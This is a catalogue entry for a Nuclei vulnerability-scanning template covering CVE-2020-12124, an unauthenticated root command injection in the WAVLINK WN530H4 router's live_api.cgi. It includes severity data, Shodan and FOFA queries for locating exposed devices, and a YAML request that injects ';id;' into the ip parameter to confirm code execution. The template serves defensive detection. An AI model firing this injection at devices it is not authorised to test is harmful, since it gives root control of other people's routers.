CVE-2020-12124: WAVLINK WN530H4 live_api.cgi - Command Injection
- Template: CVE-2020-12124
- Name: WAVLINK WN530H4 live_api.cgi - Command Injection
- Description: A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.
- Impact: Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks.
- Remediation: Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface.
- Severity: critical
- Authors: DhiyaneshDK
- Tags: cve, cve2020, rce, wavlink, vkev, vuln
- References: https://github.com/db44k/CVE-2020-12124, https://cerne.xyz/bugs/CVE-2020-12124, https://www.wavlink.com/en_us/product/WL-WN530H4.html, https://github.com/Scorpion-Security-Labs/CVE-2020-12124
- Cves: CVE-2020-12124
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-12124.yaml
- Digest: 4b0a00483046022100a59320410effb6c7da0947606f0033123f8072a66514a95490d2378741a689bb022100f5d55f5ff534b8056231665ce89f2c67ed3ea008136ae3d1fed265a78f051f75
- Created at: 2024-01-02T05:46:10Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 1057
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-12124.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.7465
- Epss percentile: 0.99509
- Cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="wavlink"
- Max-request: 1
- Product: wn530h4_firmware
- Shodan-query: http.html:"wavlink"
- Vendor: wavlink
Products
| Product | Indexed | Url |
|---|---|---|
| wavlink:wn530h4_firmware | yes | /v1/products/wavlink/wn530h4_firmware |
Labels
- Name: WAVLINK WN530H4 - Command Injection
- Impact: Attackers can execute arbitrary commands as root, leading to complete system compromise.
- Remediation: Update to the latest firmware version provided by WAVLINK or apply security patches addressing this vulnerability.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-12124
- Not known: requirements
```yaml
id: CVE-2020-12124
info:
name: WAVLINK WN530H4 live_api.cgi - Command Injection
author: DhiyaneshDK
severity: critical
description: |
A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.
impact: |
Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks.
remediation: |
Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface.
reference:
- https://github.com/db44k/CVE-2020-12124
- https://cerne.xyz/bugs/CVE-2020-12124
- https://www.wavlink.com/en_us/product/WL-WN530H4.html
- https://github.com/Scorpion-Security-Labs/CVE-2020-12124
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-12124
cwe-id: CWE-78
epss-score: 0.7465
epss-percentile: 0.99509
cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: wavlink
product: wn530h4_firmware
shodan-query: http.html:"wavlink"
fofa-query: body="wavlink"
tags: cve,cve2020,rce,wavlink,vkev,vuln
variables:
str: "{{rand_base(3)}}"
num: "{{rand_int(1, 10)}}"
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- type: word
part: body
words:
- "WiFiBand"
- type: status
status:
- 200
digest: 4b0a00483046022100a59320410effb6c7da0947606f0033123f8072a66514a95490d2378741a689bb022100f5d55f5ff534b8056231665ce89f2c67ed3ea008136ae3d1fed265a78f051f75:922c64590222798bb761d5b6d8e72950
```